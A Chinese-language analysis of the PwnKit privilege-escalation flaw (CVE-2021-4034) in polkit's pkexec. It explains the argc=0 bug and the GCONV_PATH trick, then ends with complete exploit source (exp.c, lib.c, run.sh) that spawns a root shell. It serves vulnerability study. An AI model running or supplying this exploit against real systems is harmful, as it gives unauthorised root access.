CVE-2021-4034 POC and Docker and Analysis write up

Overview

CVE-2021-4034

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漏洞简介

漏洞编号: CVE-2021-4034

漏洞产品: pkexec

影响版本: 影响2009年-今的版本(当前0.105)

源码获取: apt source policykit-1

​ 或 https://launchpad.net/ubuntu/bionic/+package/policykit-1

docker环境

docker 环境: chenaotian/cve-2021-4034

我自己搭建的docker,提供了:

  1. 自己编译的可源码调试的pkexec
  2. 有调试符号的glibc(貌似没啥用)
  3. gdb 和gdb 插件pwngdb & pwndbg
  4. 调试环境中的exp

所有东西都在 /root/ 目录中:

image-20220126183638493

  • exp 目录就是exp 和run.sh 所在目录,可以直su test 切换到test 用户然后跑
  • glibc-2.27 是glibc 源码目录,大概率用不上,用到的时候方便gdb 源码调试
  • polkit-0.105 是 policykit 源码包

启动docker:

docker run -d -ti --rm -h cvedebug --name cvedebug --cap-add=SYS_PTRACE chenaotian/cve-2021-4034:latest /bin/bash

测试exp:

cd ~/exp/CVE-2021-4034/
./run.sh
su test
./exp
whoami

漏洞原理

漏洞发生的产品是polkit 下的 pkexec 命令。pkexecsudo 类似都是能够让我们以其他用户身份(通常是root) 来执行命令的工具。通过dpkg 命令可以查看pkexec 所属包:

dpkg -S /usr/bin/pkexec

image-20220126152839307

然后获取源码包(我的docker 之中也有),之后根据源码包自己编译可以调试的版本方便调试。

漏洞触发点

漏洞触发原理非常简单

/polkit-0.105/src/programs/pkexec.c : 386 main

int
main (int argc, char *argv[])
{
    
  ··· ···
  ··· ···
      
  /* 这段的意思就是,循环遍历用户输入参数,根据输入的不同参数设置值
   * 但问题在于,他循环遍历的起点是1,没有考虑用户没有输入任何参数的情况
   */
  for (n = 1; n < (guint) argc; n++) 
    {
      if (strcmp (argv[n], "--help") == 0)
        {
          opt_show_help = TRUE;
        }
      ··· ···
      else //如果是无法识别的参数则跳出循环,这里意味着该参数是想要执行的命令
        {
          break;
        }
    }

  ··· ···

  g_assert (argv[argc] == NULL);
  path = g_strdup (argv[n]); //获取执行命令具体字符串
  if (path == NULL)
    {
      ···
    }
  if (path[0] != '/')
    {
      /* g_find_program_in_path() is not suspectible to attacks via the environment */
      //该函数会根据PATH环境变量寻找要执行命令的绝对地址
      s = g_find_program_in_path (path); 
      if (s == NULL)
        {
          ···
        }
      g_free (path);
      argv[n] = path = s;//把获取到的绝对地址修改回命令行参数
    }
  ··· ···
  ··· ···

根据代码中我的注释分析:

  1. 首先main函数中会根据用户输入的命令行参数进行一些变量设置,但这里for 循环的起始值是1,也就是说他默认我们至少会附带一个参数(需要pkexec 执行的命令)
  2. 如果匹配到非--开头的命令行参数,认为是需要执行的命令,则认为该参数是要用pkexec 执行的命令,而跳出循环进行下面逻辑。
  3. 调用g_find_program_in_path 函数搜索命令的绝对路径。g_find_program_in_path 函数会根据 PATH 环境变量来寻找传入参数(命令)的绝对路径。如传入cat 返回/bin/cat
  4. 将返回的绝对路径写回该命令行参数的位置。(可以理解为从命令转换为命令对应文件的绝对路径)

还是很好理解的,但问题在于:

  1. linux 二进制程序运行时会将命令行参数argv[]和环境变量environ[]放到栈底部,并且argv[]environ[] 是连着的。其中argv[] 最后一项是null

    image-20220126162140802

  2. 如果是命令行启动的pkexec 切不带任何其他参数,那么argv[0]"pkexec"argv[1]\x00 没啥问题。但如果是用execve 函数启动的pkexec ,不带任何其他参数,那么argv[0]\x00argv[1] 就到了环境变量了!当读取 argv[1] 的时候就会越界读取到 environ[0]

    命令行直接启动 pkexecargc 为1,argv[0] 就是pkexec 路径:

    image-20220126162616203

    execve 函数启动pkexecargc 为0:

    image-20220126162804529

那这回造成什么影响呢? 就是当以execve 启动时,不接任何其他参数,那么argv[] 长度为0,那么argv[1] 就是environ[0] 这样上面分析的逻辑就变成了,**获取第一个环境变量的值,并且从PATH 环境变量中寻找其绝对路径。如果寻找到则写回第一个环境变量。**那么利用方式如下:

漏洞利用

首先要明确的一点就是,pkexec 是一个特权(suid) 文件:

image-20220126161324831

如何在特权文件中利用环境变量搞点事情呢?首先先了解一个小细节:

一个小细节

linux 的动态连接器ld-linux-x86-64.so.2 会在特权程序执行的时候清除敏感环境变量:

函数_dl_non_dynamic_init: glibc-2.27/elf/dl-support.c : 307

void
_dl_non_dynamic_init (void)
{
  ··· ···
  ··· ···

  if (__libc_enable_secure) //特权模式的情况下
    {
      static const char unsecure_envvars[] =
	UNSECURE_ENVVARS
#ifdef EXTRA_UNSECURE_ENVVARS
	EXTRA_UNSECURE_ENVVARS
#endif
	;
      const char *cp = unsecure_envvars;

      //循环将危险环境变量列表中的环境变量全部清空(unset)
      while (cp < unsecure_envvars + sizeof (unsecure_envvars)) 
	{
	  __unsetenv (cp);
	  cp = (const char *) __rawmemchr (cp, '\0') + 1;
	}

#if !HAVE_TUNABLES
      if (__access ("/etc/suid-debug", F_OK) != 0)
	__unsetenv ("MALLOC_CHECK_");
#endif
    }
··· ···
··· ···
}

危险环境变量列表 UNSECURE_ENVVARS 定义如下:

glibc-2.27/sysdeps/generic/unsecvars.h : 10

#define GLIBC_TUNABLES_ENVVAR "GLIBC_TUNABLES\0"
#define UNSECURE_ENVVARS \
  "GCONV_PATH\0"							      \
  "GETCONF_DIR\0"							      \
  GLIBC_TUNABLES_ENVVAR							      \
  "HOSTALIASES\0"							      \
  "LD_AUDIT\0"								      \
  "LD_DEBUG\0"								      \
  "LD_DEBUG_OUTPUT\0"							      \
  "LD_DYNAMIC_WEAK\0"							      \
  "LD_HWCAP_MASK\0"							      \
  "LD_LIBRARY_PATH\0"							      \
  "LD_ORIGIN_PATH\0"							      \
  "LD_PRELOAD\0"							      \
  "LD_PROFILE\0"							      \
  "LD_SHOW_AUXV\0"							      \
  "LD_USE_LOAD_BIAS\0"							      \
  "LOCALDOMAIN\0"							      \
  "LOCPATH\0"								      \
  "MALLOC_TRACE\0"							      \
  "NIS_PATH\0"								      \
  "NLSPATH\0"								      \
  "RESOLV_HOST_CONF\0"							      \
  "RES_OPTIONS\0"							      \
  "TMPDIR\0"								      \
  "TZDIR\0"

当检测到程序是特权文件(suid) 的时候,会清空上面的这些环境变量,可以看到,绝大部分是LD_ 系列的环境变量,他们都有能指定动态库加载路径的能力。这是防止低权限用户通过这些环境变量让suid 程序加载不可信的so,造成的恶意代码执行进而提权的情况。

而在该漏洞场景下,我们拥有一次任意环境变量写得机会,我们的利用思路就是尝试从上面那些本来没法传入suid 程序中的环境变量中找点东西。

利用原理

由于已经公布了poc,这里直接看答案就很简单了,这里参考了arthepsy的poc。内容很简单,但通过该poc 得知利用关键环境变量是**GCONV_PATH**。确实是上面危险环境变量列表中的一员,甚至是第一个!

关于GCONV_PATHiconv_open() 函数:

iconv_open() 函数申请一个转换描述符,转换字符序列从编码 fromcode 到编码 tcode 转换描述符包含转换状态。iconv_open() 函数首先会找到系统提供的 gconv-modules 文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中。然后再根据 gconv-modules 文件的指示去链接参数对应的.so文件执行具体操作。如果存在环境变量 GCONV_PATH ,则 iconv_open() 函数依照GCONV_PATH 找到gconv-modules 文件,后续操作不变。

也就是说,这里GCONV_PATH 环境变量也有相当于 LD_LIBRARY_PATH 的功能。他可以指定 iconv_open() 函数搜索so库的文件。我们如果可以伪造GCONV_PATH 然后进一步伪造 gconv-modules 最后在伪造一个 so 就可以完成任意so加载以及任意代码执行。

大体思路如下:

  1. 创建一个 名为 GCONV_PATH=. 目录

  2. GCONV_PATH=. 目录中创建一个 名为 pwnkitdir 的文件,权限带x

  3. 创建一个 名为 pwnkitdir 的目录

  4. pwnkit 目录中创建 gconv-modules 文件,依照格式写入如下内容:

    module UTF-8// PWNKIT// pwnkit 1
    
  5. pwnkit 目录中放入恶意so pwnkit.so 里面是获取shell的代码。

  6. 设置相关环境变量

    1. 第一个环境变量 pwnkitdir
    2. 第二个环境变量 PATH=GCONV_PATH=. 这样 g_find_program_in_path 函数组合出的路径就是GCONV_PATH=./pwnkitdir 正好是环境变量的格式,而且 ./pwnkitdir 目录存在,GCONV_PATH=./pwnkitdir 文件也存在。
    3. CHARSET=PWNKIT 环境变量,在走到 iconv_open 前的路径中会用到,用来从 gconv-modules 中搜索so
    4. SHELL=xxx ,,在走到 iconv_open 前的路径中会用到
  7. 通过 execve 启动 pkexec 参数为空,环境变量为上面设置的值

然后就成功,具体exp如下:

exp

exp.c

#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv)
{
        char * const a_argv [] = { NULL};
        char * const a_envp[] = {
                "pwnkitdir",
                "PATH=GCONV_PATH=.",
                "CHARSET=PWNKIT",
                "SHELL=xxx",
                NULL
        };
        execve("/usr/local/bin/pkexec", a_argv, a_envp); //注意路径根据实际情况修改哦
}

lib.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

static void __attribute__ ((constructor)) exp(void);
static void exp(void)
{
        setuid(0); seteuid(0); setgid(0); setegid(0);
        static char *a_argv[] = { "sh", NULL };
        static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
        execve("/bin/sh", a_argv, a_envp);
}

run.sh

> pwnkitdir/gconv-modules gcc -fPIC -shared lib.c -o pwnkitdir/pwnkit.so gcc exp.c -o exp">
mkdir 'GCONV_PATH=.'
touch 'GCONV_PATH=./pwnkitdir'
chmod 777 'GCONV_PATH=./pwnkitdir'
mkdir pwnkitdir
touch pwnkitdir/gconv-modules
echo "module UTF-8// PWNKIT// pwnkit 1" >> pwnkitdir/gconv-modules
gcc -fPIC -shared lib.c -o pwnkitdir/pwnkit.so
gcc exp.c -o exp

利用成功:

image-20220126182231579

参考

漏洞纰漏:https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

arthepsy‘s poc:https://github.com/arthepsy/CVE-2021-4034

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